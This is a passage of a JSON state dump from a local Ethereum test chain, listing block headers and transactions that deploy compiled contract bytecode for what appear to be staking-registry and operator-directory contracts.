d5b823567ffffffffffffffff811115612d0a57600080fd5b612d1685828601612c9b565b90969095509350505050565b60008060008060808587031215612d3857600080fd5b8435612d43816129d3565b93506020850135612d53816129d3565b92506040850135612d63816129d3565b9396929550929360600135925050565b60008060008060808587031215612d8957600080fd5b8435612d94816129d3565b93506020850135612da4816129d3565b9250604085013591506060850135612dbb816129d3565b939692955090935050565b60008060408385031215612dd957600080fd5b8235612de4816129d3565b946020939093013593505050565b60008060008060408587031215612e0857600080fd5b843567ffffffffffffffff811115612e1f57600080fd5b612e2b87828801612c9b565b909550935050602085013567ffffffffffffffff811115612e4b57600080fd5b612e5787828801612c9b565b95989497509550505050565b600060208284031215612e7557600080fd5b8151611d45816129d3565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215612edc57600080fd5b8151611d4581612b37565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208082526044908201527f53747261746567794d616e616765722e6f6e6c7953747261746567795768697460408201527f656c69737465723a206e6f742074686520737472617465677957686974656c6960608201526339ba32b960e11b608082015260a00190565b602080825260409082018190527f53747261746567794d616e616765722e6f6e6c7944656c65676174696f6e4d61908201527f6e616765723a206e6f74207468652044656c65676174696f6e4d616e61676572606082015260800190565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561301f57600080fd5b8135611d4581612b37565b60005b8381101561304557818101518382015260200161302d565b50506000910152565b6000815180845261306681602086016020860161302a565b601f01601f19169290920160200192915050565b828152604060208201526000612861604083018461304e565b6000602082840312156130a557600080fd5b81516001600160e01b031981168114611d4557600080fd5b6000602082840312156130cf57600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156121e6576121e66130d6565b818103818111156121e6576121e66130d6565b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052602160045260246000fd5b6000825161315081846020870161302a565b9190910192915050565b602081526000611d45602083018461304e56fea2646970667358221220ac6d2edd6083c86d546592d6164295a40fc9f3efad84a275c7ca870c64044f2464736f6c634300081c0033000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc90000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe6000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c853","r":"0xe7e5f1f73ca6c6eaf71e1595d31d074540068f66f0680e65a4415b05b38b8654","s":"0x4ee6feffc8153ba2a9ab1fb8b6b9c5cbd93c38cbf5bfa21d881c689538d5e1fa","yParity":"0x1","hash":"0x24844141bd83f9ae1b97e98c0adfe35fc92104c3140a19a283bcaca2c1bbcbdd"}},"impersonated_sender":null},{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0xe","gas":"0x227f19","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x60c060405234801561001057600080fd5b50604051611f65380380611f6583398101604081905261002f9161010e565b6001600160a01b03811660805261004461004e565b504660a05261013e565b600054610100900460ff16156100ba5760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff908116101561010c576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b60006020828403121561012057600080fd5b81516001600160a01b038116811461013757600080fd5b9392505050565b60805160a051611dfb61016a6000396000610ea501526000818161032401526109810152611dfb6000f3fe608060405234801561001057600080fd5b50600436106101425760003560e01c80638da5cb5b116100b8578063d79aceab1161007c578063d79aceab146102f8578063df5cf7231461031f578063ec76f44214610346578063f2fde38b14610359578063f698da251461036c578063fabc1cbc1461037457600080fd5b80638da5cb5b1461029b5780639926ee7d146102ac578063a1060c88146102bf578063a364f4da146102d2578063a98fb355146102e557600080fd5b806349075da31161010a57806349075da3146101fa578063595c6a67146102355780635ac86ab71461023d5780635c975abb14610260578063715018a614610268578063886f11951461027057600080fd5b806310d67a2f14610147578063136439dd1461015c5780631794bb3c1461016f57806320606b7014610182578063374823b5146101bc575b600080fd5b61015a6101553660046118a2565b610387565b005b61015a61016a3660046118c6565b610443565b61015a61017d3660046118df565b610582565b6101a97f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6040519081526020015b60405180910390f35b6101ea6101ca366004611920565b609960209081526000928352604080842090915290825290205460ff1681565b60405190151581526020016101b3565b61022861020836600461194c565b609860209081526000928352604080842090915290825290205460ff1681565b6040516101b3919061199b565b61015a6106ac565b6101ea61024b3660046119c3565b606654600160ff9092169190911b9081161490565b6066546101a9565b61015a610773565b606554610283906001600160a01b031681565b6040516001600160a01b0390911681526020016101b3565b6033546001600160a01b0316610283565b61015a6102ba366004611a56565b610787565b6101a96102cd366004611b4b565b610b18565b61015a6102e03660046118a2565b610bd1565b61015a6102f3366004611b91565b610d39565b6101a97fda2c89bafdd34776a2b8bb9c83c82f419e20cc8c67207f70edd58249b92661bd81565b6102837f000000000000000000000000000000000000000000000000000000000000000081565b61015a6103543660046118c6565b610d80565b61015a6103673660046118a2565b610e2b565b6101a9610ea1565b61015a6103823660046118c6565b610ede565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156103da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103fe9190611c05565b6001600160a01b0316336001600160a01b0316146104375760405162461bcd60e51b815260040161042e90611c22565b60405180910390fd5b6104408161103a565b50565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa15801561048b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104af9190611c6c565b6104cb5760405162461bcd60e51b815260040161042e90611c8e565b606654818116146105445760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c6974790000000000000000606482015260840161042e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b600054610100900460ff16158080156105a25750600054600160ff909116105b806105bc5750303b1580156105bc575060005460ff166001145b61061f5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b606482015260840161042e565b6000805460ff191660011790558015610642576000805461ff0019166101001790555b61064c8383611131565b61065461121b565b609755610660846112b2565b80156106a6576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b50505050565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156106f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107189190611c6c565b6107345760405162461bcd60e51b815260040161042e90611c8e565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b61077b611304565b61078560006112b2565b565b6066546000906001908116036107db5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161042e565b42826040015110156108435760405162461bcd60e51b815260206004820152603e6024820152600080516020611da683398151915260448201527f56533a206f70657261746f72207369676e617475726520657870697265640000606482015260840161042e565b60013360009081526098602090815260408083206001600160a01b038816845290915290205460ff16600181111561087d5761087d611985565b036108de5760405162461bcd60e51b815260206004820152603f6024820152600080516020611da683398151915260448201527f56533a206f70657261746f7220616c7265616479207265676973746572656400606482015260840161042e565b6001600160a01b038316600090815260996020908152604080832085830151845290915290205460ff16156109625760405162461bcd60e51b81526020600482015260366024820152600080516020611da68339815191526044820152751594ce881cd85b1d08185b1c9958591e481cdc195b9d60521b606482015260840161042e565b6040516336b87bd760e11b81526001600160a01b0384811660048301527f00000000000000000000000000000000000000000000000000000000000000001690636d70f7ae90602401602060405180830381865afa1580156109c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ec9190611c6c565b610a625760405162461bcd60e51b815260206004820152604d6024820152600080516020611da683398151915260448201527f56533a206f70657261746f72206e6f74207265676973746572656420746f204560648201526c1a59d95b93185e595c881e595d609a1b608482015260a40161042e565b6000610a78843385602001518660400151610b18565b9050610a898482856000015161135e565b3360008181526098602090815260408083206001600160a01b0389168085529083528184208054600160ff199182168117909255609985528386208a860151875290945293829020805490931684179092555190917ff0952b1c65271d819d39983d2abb044b9cace59bcc4d4dd389f586ebdcb15b4191610b0a919061199b565b60405180910390a350505050565b604080517fda2c89bafdd34776a2b8bb9c83c82f419e20cc8c67207f70edd58249b92661bd6020808301919091526001600160a01b0387811683850152861660608301526080820185905260a08083018590528351808403909101815260c0909201909252805191012060009081610b8e610ea1565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f190181529190528051602090910120979650505050505050565b606654600090600190811603610c255760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b604482015260640161042e565b60013360009081526098602090815260408083206001600160a01b038716845290915290205460ff166001811115610c5f57610c5f611985565b14610cd25760405162461bcd60e51b815260206004820152603f60248201527f4156534469726563746f72792e646572656769737465724f70657261746f724660448201527f726f6d4156533a206f70657261746f72206e6f74207265676973746572656400606482015260840161042e565b3360008181526098602090815260408083206001600160a01b0387168085529252808320805460ff191690555190917ff0952b1c65271d819d39983d2abb044b9cace59bcc4d4dd389f586ebdcb15b4191610d2d919061199b565b60405180910390a35050565b336001600160a01b03167fa89c1dc243d8908a96dd84944bcc97d6bc6ac00dd78e20621576be6a3c9437138383604051610d74929190611cd6565b60405180910390a25050565b33600090815260996020908152604080832084845290915290205460ff1615610e055760405162461bcd60e51b815260206004820152603160248201527f4156534469726563746f72792e63616e63656c53616c743a2063616e6e6f742060448201527018d85b98d95b081cdc195b9d081cd85b1d607a1b606482015260840161042e565b33600090815260996020908152604080832093835292905220805460ff19166001179055565b610e33611304565b6001600160a01b038116610e985760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161042e565b610440816112b2565b60007f00000000000000000000000000000000000000000000000000000000000000004603610ed1575060975490565b610ed961121b565b905090565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f559190611c05565b6001600160a01b0316336001600160a01b031614610f855760405162461bcd60e51b815260040161042e90611c22565b6066541981196066541916146110035760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c6974790000000000000000606482015260840161042e565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c90602001610577565b6001600160a01b0381166110c85760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a40161042e565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6065546001600160a01b031615801561115257506001600160a01b03821615155b6111d45760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a40161042e565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a26112178261103a565b5050565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6033546001600160a01b031633146107855760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161042e565b6001600160a01b0383163b1561147d57604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e9061139e9086908690600401611d05565b602060405180830381865afa1580156113bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113df9190611d5a565b6001600160e01b031916146114785760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a40161042e565b505050565b826001600160a01b0316611491838361151d565b6001600160a01b0316146114785760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a40161042e565b600080600061152c8585611543565b91509150611539816115b1565b5090505b92915050565b60008082516041036115795760208301516040840151606085015160001a61156d87828585611767565b945094505050506115aa565b82516040036115a25760208301516040840151611597868383611854565b9350935050506115aa565b506000905060025b9250929050565b60008160048111156115c5576115c5611985565b036115cd5750565b60018160048111156115e1576115e1611985565b0361162e5760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e61747572650000000000000000604482015260640161042e565b600281600481111561164257611642611985565b0361168f5760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e67746800604482015260640161042e565b60038160048111156116a3576116a3611985565b036116fb5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b606482015260840161042e565b600481600481111561170f5761170f611985565b036104405760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b606482015260840161042e565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a083111561179e575060009050600361184b565b8460ff16601b141580156117b657508460ff16601c14155b156117c7575060009050600461184b565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa15801561181b573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166118445760006001925092505061184b565b9150600090505b94509492505050565b6000806001600160ff1b0383168161187160ff86901c601b611d84565b905061187f87828885611767565b935093505050935093915050565b6001600160a01b038116811461044057600080fd5b6000602082840312156118b457600080fd5b81356118bf8161188d565b9392505050565b6000602082840312156118d857600080fd5b5035919050565b6000806000606084860312156118f457600080fd5b83356118ff8161188d565b9250602084013561190f8161188d565b929592945050506040919091013590565b6000806040838503121561193357600080fd5b823561193e8161188d565b946020939093013593505050565b6000806040838503121561195f57600080fd5b823561196a8161188d565b9150602083013561197a8161188d565b809150509250929050565b634e487b7160e01b600052602160045260246000fd5b60208101600283106119bd57634e487b7160e01b600052602160045260246000fd5b91905290565b6000602082840312156119d557600080fd5b813560ff811681146118bf57600080fd5b634e487b7160e01b600052604160045260246000fd5b6040516060810167ffffffffffffffff81118282101715611a1f57611a1f6119e6565b60405290565b604051601f8201601f1916810167ffffffffffffffff81118282101715611a4e57611a4e6119e6565b604052919050565b60008060408385031215611a6957600080fd5b8235611a748161188d565b9150602083013567ffffffffffffffff811115611a9057600080fd5b830160608186031215611aa257600080fd5b611aaa6119fc565b813567ffffffffffffffff811115611ac157600080fd5b8201601f81018713611ad257600080fd5b803567ffffffffffffffff811115611aec57611aec6119e6565b611aff601f8201601f1916602001611a25565b818152886020838501011115611b1457600080fd5b8160208401602083013760006020928201830152835283810135908301525060409182013591810191909152919491935090915050565b60008060008060808587031215611b6157600080fd5b8435611b6c8161188d565b93506020850135611b7c8161188d565b93969395505050506040820135916060013590565b60008060208385031215611ba457600080fd5b823567ffffffffffffffff811115611bbb57600080fd5b8301601f81018513611bcc57600080fd5b803567ffffffffffffffff811115611be357600080fd5b856020828401011115611bf557600080fd5b6020919091019590945092505050565b600060208284031215611c1757600080fd5b81516118bf8161188d565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611c7e57600080fd5b815180151581146118bf57600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208152816020820152818360408301376000818301604090810191909152601f909201601f19160101919050565b828152604060208201526000825180604084015260005b81811015611d395760208186018101516060868401015201611d1c565b506000606082850101526060601f19601f8301168401019150509392505050565b600060208284031215611d6c57600080fd5b81516001600160e01b0319811681146118bf57600080fd5b8082018082111561153d57634e487b7160e01b600052601160045260246000fdfe4156534469726563746f72792e72656769737465724f70657261746f72546f41a2646970667358221220626c725dc93ffa1c0bc54f081ad507d11a26614950e1667781a557683d3b300b64736f6c634300081c0033000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc9","r":"0x8cb638c5efdec70024c55fba69f001c052721d99e6e682c721a544ab2b1ff83f","s":"0x7b388d95d5c870968a3ab3a503887324d6fabb4ec9b3ccc1bb9750a9daa12da","yParity":"0x1","hash":"0xe16e7b1d8ace4d16fde340a4bc670436d4b83ba69827593207eea6f4fc58568a"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x8eb1c59d065e15379942853c55bc35bff71cfdb061fd2e43925e4b69d77906a1","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x95351f2e6df2f9c900430751f0f37744987d60304ba50ef9c0c02baebf02fffc","transactionsRoot":"0xa1418ab2a8cb9d9fa6c89f7d99cbec49cfdf9c534a28bc797b6c7a1225c537ee","receiptsRoot":"0xcc324be81a0f11b95d7e6f6bbd9767d593e6afce3bb3bc4ff6bfbcbb179a782b","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000040000000400000000000000000c00000000000000000000000000000000000000000080000000000000000100000000000000001000000000000000000000400000002000001000000000000000000000000000000000000020000000000000100800800000004000000000000040000000000400000000108000000000000000000000000000000000080000000000000000000000000000000040000000002000400000000000000000000000000000000000000002020400000200000000000040000000000002008000000000000000020000000000000000000000000000000000000000000000000000000002000400000","difficulty":"0x0","number":"0xc","gasLimit":"0x1c9c380","gasUsed":"0x28900","timestamp":"0x67212bff","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x11e5d199","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x13","gas":"0x3806e","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","to":"0x5fbdb2315678afecb367f032d93f642f64180aa3","value":"0x0","accessList":[],"input":"0x9623609d000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc9000000000000000000000000a51c1fc2f0d1a1b8494ed1fe312d7c3a78ed91c00000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000010422bf40e4000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f05120000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","r":"0x78419f01e64a4dc882522d491d00f3dc6cbdfb1331764afd3a2ced7ed97bbf79","s":"0x5804ad26a7d1063df47223727def106f21b785c488140e47d179ae281f9ea406","yParity":"0x1","hash":"0xb6a38a3d8da1705b9b28d965f44c38bad15f54d84fdaf02eac16b102176b150c"}},"impersonated_sender":null}],"ommers":[]},{"header":{"parentHash":"0x1ff38862b4e1a20e1c613d101727ece9f658c7a6f5f12eb1f9141139574be097","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0xfc874a013b7e585759ef74efb58667b009f50439d1585aa7ed50f2aea9be22dc","transactionsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","receiptsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000","difficulty":"0x0","number":"0x4","gasLimit":"0x1c9c380","gasUsed":"0x0","timestamp":"0x67212bff","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x295ce182","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[],"ommers":[]},{"header":{"parentHash":"0xdd34892cdec12c656cb445920969a9b23308638d8e43f011ca123abe0e58004c","ommersHash":"0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347","beneficiary":"0x0000000000000000000000000000000000000000","stateRoot":"0x85737f2a8a7edbd3373949efddc1b7fb37d5a2f28024ad203734ac5e36b0a1d0","transactionsRoot":"0xe55cb76f7193c19154a6a4452ac570e6f45b4dbc9243a171524d9b4e56251789","receiptsRoot":"0x2ff315e249460c117660b1e7d68ad442ecb3a0e343e815baa549a627f4e52121","withdrawalsRoot":"0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421","logsBloom":"0x00000000000000000000000000000000400000000000000000000000020000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020200000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000","difficulty":"0x0","number":"0x6","gasLimit":"0x1c9c380","gasUsed":"0x3058f4","timestamp":"0x67212c10","mixHash":"0x0000000000000000000000000000000000000000000000000000000000000000","nonce":"0x0000000000000000","baseFeePerGas":"0x1ff7c51d","blobGasUsed":"0x0","excessBlobGas":"0x0","parentBeaconBlockRoot":"0x0000000000000000000000000000000000000000000000000000000000000000","extraData":"0x"},"transactions":[{"transaction":{"EIP1559":{"chainId":"0x7a69","nonce":"0x2a","gas":"0x3e1047","maxFeePerGas":"0x77359401","maxPriorityFeePerGas":"0x1","value":"0x0","accessList":[],"input":"0x60c060405234801561001057600080fd5b5060405161389c38038061389c83398101604081905261002f9161005e565b6001600160a01b0391821660a05216608052610098565b6001600160a01b038116811461005b57600080fd5b50565b6000806040838503121561007157600080fd5b825161007c81610046565b602084015190925061008d81610046565b809150509250929050565b60805160a0516137a06100fc6000396000818161037a015281816106340152818161096701528181610ccf015281816110f0015281816116d0015281816117d2015281816118eb0152611cad0152600081816105290152611e6e01526137a06000f3fe608060405234801561001057600080fd5b50600436106101e55760003560e01c80639f3ccf651161010f578063c8294c56116100a2578063f2be94ae11610071578063f2be94ae1461054b578063f851e1981461055e578063fa28c62714610571578063ff694a771461058457600080fd5b8063c8294c56146104d6578063d5eccc05146104e9578063dd9846b9146104fc578063df5cf7231461052457600080fd5b8063bc9a40c3116100de578063bc9a40c314610474578063bd29b8cd14610487578063c46778a51461049a578063c601527d146104c357600080fd5b80639f3ccf65146103ee578063ac6bfb0314610401578063adc804da14610421578063b6904b781461046157600080fd5b80634bd26e091161018757806366acfefe1161015657806366acfefe1461034a5780636d14a987146103755780637c172347146103b457806381c07502146103ce57600080fd5b80634bd26e09146102e55780635401ed27146103155780635e5a6775146103285780635f1f2d771461033757600080fd5b806320b66298116101c357806320b662981461026c57806325504777146102815780632cd95940146102a25780633ca5a5f5146102c257600080fd5b80630491b41c146101ea57806308732461146102205780631f9b74e014610241575b600080fd5b61020d6101f8366004612bca565b60ff1660009081526001602052604090205490565b6040519081526020015b60405180910390f35b61023361022e366004612be5565b610597565b604051610217929190612c0f565b61025461024f366004612c49565b6105e0565b6040516001600160601b039091168152602001610217565b61027f61027a366004612cc4565b610632565b005b61029461028f366004612d89565b610959565b604051610217929190612e29565b6102b56102b0366004612e4e565b610c15565b6040516102179190612e7a565b61020d6102d0366004612bca565b60ff1660009081526003602052604090205490565b61020d6102f3366004612e4e565b600091825260026020908152604080842060ff93909316845291905290205490565b610254610323366004612e4e565b610cb4565b61020d670de0b6b3a764000081565b61027f610345366004612f85565b610ccd565b61035d610358366004612d89565b6110e3565b6040516001600160c01b039091168152602001610217565b61039c7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610217565b6103bc602081565b60405160ff9091168152602001610217565b6103e16103dc366004613046565b611240565b6040516102179190613098565b61039c6103fc366004612be5565b6114f5565b61041461040f3660046130d6565b61152d565b6040516102179190613109565b61043461042f366004612be5565b6115c5565b6040805182516001600160a01b031681526020928301516001600160601b03169281019290925201610217565b61041461046f366004612be5565b61163f565b61027f61048236600461315a565b6116ce565b61027f610495366004613184565b6117c7565b6102546104a8366004612bca565b6000602081905290815260409020546001600160601b031681565b61027f6104d136600461324f565b6118e9565b6102546104e436600461329c565b6119dd565b6102546104f7366004612bca565b611a5b565b61050f61050a3660046132d9565b611aae565b60405163ffffffff9091168152602001610217565b61039c7f000000000000000000000000000000000000000000000000000000000000000081565b610254610559366004613315565b611ac3565b61041461056c366004612e4e565b611b58565b61025461057f3660046132d9565b611c41565b61027f610592366004613357565b611ca2565b600360205281600052604060002081815481106105b357600080fd5b6000918252602090912001546001600160a01b0381169250600160a01b90046001600160601b0316905082565b60ff8216600090815260016020526040812054839061061a5760405162461bcd60e51b8152600401610611906133b4565b60405180910390fd5b60006106268585611e0d565b509250505b5092915050565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610690573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106b49190613405565b6001600160a01b0316336001600160a01b0316146106e45760405162461bcd60e51b815260040161061190613422565b846107008160ff16600090815260016020526040902054151590565b61071c5760405162461bcd60e51b8152600401610611906133b4565b8380610792576040805162461bcd60e51b81526020600482015260248101919091527f5374616b6552656769737472792e6d6f6469667953747261746567795061726160448201527f6d733a206e6f20737472617465677920696e64696365732070726f76696465646064820152608401610611565b8281146108075760405162461bcd60e51b815260206004820152603960248201527f5374616b6552656769737472792e6d6f6469667953747261746567795061726160448201527f6d733a20696e707574206c656e677468206d69736d61746368000000000000006064820152608401610611565b60ff87166000908152600360205260408120905b8281101561094e578585828181106108355761083561349e565b905060200201602081019061084a91906134b4565b8289898481811061085d5761085d61349e565b90506020020135815481106108745761087461349e565b9060005260206000200160000160146101000a8154816001600160601b0302191690836001600160601b031602179055508860ff167f11a5641322da1dff56a4b66eaac31ffa465295ece907cd163437793b4d009a75838a8a858181106108dd576108dd61349e565b90506020020135815481106108f4576108f461349e565b6000918252602090912001546001600160a01b031688888581811061091b5761091b61349e565b905060200201602081019061093091906134b4565b60405161093e929190612c0f565b60405180910390a260010161081b565b505050505050505050565b606080336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146109a45760405162461bcd60e51b8152600401610611906134cf565b6000836001600160401b038111156109be576109be612ef4565b6040519080825280602002602001820160405280156109e7578160200160208202803683370190505b5090506000846001600160401b03811115610a0457610a04612ef4565b604051908082528060200260200182016040528015610a2d578160200160208202803683370190505b50905060005b85811015610c07576000878783818110610a4f57610a4f61349e565b919091013560f81c60008181526001602052604090205490925015159050610ad75760405162461bcd60e51b815260206004820152603560248201527f5374616b6552656769737472792e72656769737465724f70657261746f723a206044820152741c5d5bdc9d5b48191bd95cc81b9bdd08195e1a5cdd605a1b6064820152608401610611565b600080610ae4838d611e0d565b9150915080610b815760405162461bcd60e51b815260206004820152605b60248201527f5374616b6552656769737472792e72656769737465724f70657261746f723a2060448201527f4f70657261746f7220646f6573206e6f74206d656574206d696e696d756d207360648201527f74616b6520726571756972656d656e7420666f722071756f72756d0000000000608482015260a401610611565b6000610b8e8c8585612001565b905082878681518110610ba357610ba361349e565b60200260200101906001600160601b031690816001600160601b031681525050610bcd8482612280565b868681518110610bdf57610bdf61349e565b6001600160601b0390921660209283029190910190910152505060019092019150610a339050565b509097909650945050505050565b600082815260026020908152604080832060ff851684528252808320805482518185028101850190935280835260609492939192909184015b82821015610ca7576000848152602090819020604080516060810182529185015463ffffffff8082168452600160201b82041683850152600160401b90046001600160601b031690820152825260019092019101610c4e565b5050505090505b92915050565b600080610cc18484611b58565b60400151949350505050565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d2b573d6000803e3d6000fd5b50505